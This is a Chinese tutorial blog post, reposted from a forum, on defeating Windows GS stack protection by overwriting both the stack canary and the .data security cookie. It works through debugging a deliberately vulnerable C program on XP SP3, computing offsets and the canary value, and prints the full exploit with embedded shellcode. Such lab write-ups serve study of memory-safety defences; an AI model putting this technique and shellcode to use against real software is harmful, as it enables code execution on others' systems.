同时替换栈中和.data中的Cookie突破GS
生活随笔
收集整理的這篇文章主要介紹了
同时替换栈中和.data中的Cookie突破GS
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
文章是我之前發在吾愛破解論壇的,直接搬過來了。有問題大家可以直接提問。
最近剛剛接觸漏洞調試逆向,希望能夠將自己調試過程中的看法與大家分享,望大神們不要噴我。參考書籍就是有名的《0day》,作為想接觸漏洞的新手非常適合。
言歸正傳GS機制:
GS會在函數調用前往函數棧幀內壓入一個隨機數(canary),然后等函數返回前,會對canary進行核查,判斷canary是否被修改。因為canary的地址是(前棧幀EBP-4),所以如果溢出攻擊想要覆蓋返回地址,就會路過canary。系統檢測到canary被修改之后,在函數返回前就會直接終止程序
GS流程:
- 程序啟動時,讀取.data節的第一個dword。
- 以這個dword為基數,通過和當前系統時間,進程ID,線程ID,性能計數器進行一系列加密運算(多次XOR)。
- 把加密后的種子再寫入.data節的第一個dword。函數在執行前,把加密后的種子取出,與當前esp進行異或計算,結果存入“前EBP”的前面(低地址端)。函數主體正常執行。
- 函數返回前,把canary取出與esp異或計算后,調用__security_check_cookie函數進行檢查,與.data節里的種子進行比較,如果校驗通過則返回原函數繼續執行。如果校驗失敗,則程序終止。
意思就是, .data第一個dword異或ebp后,存放到ebp低地址端,函數返回前,這個數再xor ebp,和.data中相比較。
GS突破的思路:
1、利用未被保護的內存突破GS
2、覆蓋虛函數突破GS( wnagzihxain有講到 )
3、攻擊SEH突破GS
4、同時替換棧中和.data中的cookie突破GS( 同樣講到過 )
由于自己第一次發帖,剛好看到第四個突破技術,索性就記錄下來以便交流
我們不看代碼,試想一下,如果想要同時替換棧中和.data中的cookie,需要幾步。需要什么條件。
攻擊條件:
- 首先這個條件就很苛刻,正常情況下,我們是無法訪問到.data段中的,只有當一個指針偏移沒有作判斷,能夠為我們所用,將它指向.data的時候,才能夠覆蓋修改.data的第一個dword。代碼中創造的條件是這樣的,先申請一塊堆區,再創建一個指針指向的地址是堆區+偏移(i),當i為我們惡意構造的負數的時候,就有可能指向.data段
- 其次,要有shellcode覆蓋,代碼中給了一個strcpy,我們喜聞樂見的一個函數。
代碼如下(shellcode內容我們慢慢給出,這里先看程序):
[C]?純文本查看?復制代碼 ?
| 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 | voidtest(char* str, inti,char* src) { ????????chardest[200]; ????????? ????????if(i<0x9995) ????????{ ????????????????char* buf=str+i; ????????????????*buf=*src; ????????????????*(buf+1)=*(src+1); ????????????????*(buf+2)=*(src+2); ????????????????*(buf+3)=*(src+3); ????????????strcpy(dest,src); ????????} } voidmain() { ????????char* str=(char*)malloc(0x10000); ????????//__asm int 3 ????????test(str,0xFFFF2FB8,shellcode);??????? } |
攻擊調試步驟:
1、在調試的時候,確認堆區的地址和我們要覆蓋的.data首地址離多遠,這樣就能確認這個指針偏移 i 是多少;
2、確定shellcode的覆蓋偏移,到底哪個偏移地址是canary的位置;
前兩部可以利用函數返回時候的check_securitycookie函數查看系統是怎么檢查參數的
3、確定shellcode中canary的值,索性把shellcode的第一個dword設置為canary(90909090),那么我們用多少覆蓋呢,這需要在調試中xor ebp后確定;
4、確定shellcode組織結構。
下面和大家一起調試,確定shellcode的內容
調試環境:
XP sp3
vs 2008
release版本
optimization給disable掉(不然,調試代碼看不懂,canary異或的也是esp而不是ebp)
第一步,確定偏移
其實不能完全按照步驟進行參數獲取,因為后面有些參數可能在前面的調試中就已經獲取了,按步驟說只是便于理解。
先把shellcode設置為四個字節90909090.指針偏移也設置為0:
[C]?純文本查看?復制代碼 ?
| 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | #include <string.h> #include <stdlib.h> charshellcode[]= "\x90\x90\x90\x90"//new value of cookie in .data ; voidtest(char* str, inti,char* src) { ????????chardest[200]; ????????? ????????if(i<0x9995) ????????{ ????????????????char* buf=str+i; ????????????????*buf=*src; ????????????????*(buf+1)=*(src+1); ????????????????*(buf+2)=*(src+2); ????????????????*(buf+3)=*(src+3); __asmint3 ????????????strcpy(dest,src); ????????} } voidmain() { ????????char* str=(char*)malloc(0x10000); ????????test(str,0,shellcode);??????? } |
我們首先要看cookie是怎么校驗的。原書中講到在if語句處中斷,我設置了int3之后,停下來發現cookie已經被放進.data了,所以我就下在了strcpy之前
?
這一步獲取的參數:
.data地址:0x00403000
棧中需要覆蓋canary的地址:0x0012FF60
棧中需要返回的地址0x0012FF68
堆分配首地址(這一步我忘記標出來了,他就是test函數test(str,0,shellcode)返回地址前、高地址處的第一個str的地址):0x00410048
計算可得:0x410048-0x403000=53320,由于這個偏移應該是負數,所以i=-53320=FFFF2FB8
這樣第一二步驟的參數已經得到了
將i修改后,如下:
[C]?純文本查看?復制代碼 ?
| 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 | voidtest(char* str, inti,char* src) { ????????chardest[200]; ????????? ????????if(i<0x9995) ????????{ ????????????????char* buf=str+i; ????????????????*buf=*src; ????????????????*(buf+1)=*(src+1); ????????????????*(buf+2)=*(src+2); ????????????????*(buf+3)=*(src+3); ????????????????__asmint3 ????????????strcpy(dest,src); ????????} } voidmain() { ????????char* str=(char*)malloc(0x10000); ????????test(str,0xFFFF2FB8,shellcode);??????? } |
第二步,確定canary的值
如何確定?已經我們要將90909090寫入.data,GS校驗的時候,會將canary和ebp異或然后和90909090對比,所以,canary=90909090 xor 當時的ebp
int3位置不變,我們還定位到函數準備返回檢查canary的時候
?
canary = 0x0012ff64 xor 0x90909090 = 0x90826ff4
第三步,確定shellcode組織結構
對了,shellcode在棧中的位置還沒確定呢
還是剛才的斷點,在strcpy之前停下來,找shellcode 復制的棧中位置,這也是為什么設置90909090,因為明顯好找,還可以搜索
?
找到了shellcode地址=0x0012FE94
所以shellcode總大小=0x0012FE94-返回的地址0x0012FF68 +4=216字節
覆蓋返回地址:12FF68-12FF6B
覆蓋canary地址:12FF60-12FF63
最后12個字節是這樣的\xF4\x6F\x82\x90 \x90\x90\x90\x90 \x94\xFE\x12\x00
所以shellcode是這樣安排的:
\x90\x90\x90\x90||\xFC\x68···\x57\xF8||\x90···\x90||?\xF4\x6F\x82\x90 \x90\x90\x90\x90 \x94\xFE\x12\x00
4字節? ?? ?? ?? ?? ?? ?? ???168字節? ?? ?? ?? ?? ?? ?? ?32字節(216-4-168-12=32字節)? ?? ?? ???12個字節
最終形成代碼
[C]?純文本查看?復制代碼 ?
| 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 | #include <string.h> #include <stdlib.h> charshellcode[]= "\x90\x90\x90\x90"//new value of cookie in .data "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50" "\x53\xFF\x57\xFC\x53\xFF\x57\xF8" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\xF4\x6F\x82\x90"//result of \x90\x90\x90\x90 xor EBP "\x90\x90\x90\x90" "\x94\xFE\x12\x00"//address of shellcode ; voidtest(char* str, inti,char* src) { ????????chardest[200]; ????????? ????????if(i<0x9995) ????????{ ????????????????char* buf=str+i; ????????????????*buf=*src; ????????????????*(buf+1)=*(src+1); ????????????????*(buf+2)=*(src+2); ????????????????*(buf+3)=*(src+3); ????????????strcpy(dest,src); ????????} } voidmain() { ????????char* str=(char*)malloc(0x10000); ????????//__asm int 3 ????????test(str,0xFFFF2FB8,shellcode);??????? } |
?
成功溢出。
總結
以上是生活随笔為你收集整理的同时替换栈中和.data中的Cookie突破GS的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 6-3 jmu-python-函数-找钱
- 下一篇: 程序人生丨程序员必会的 10 种核心技能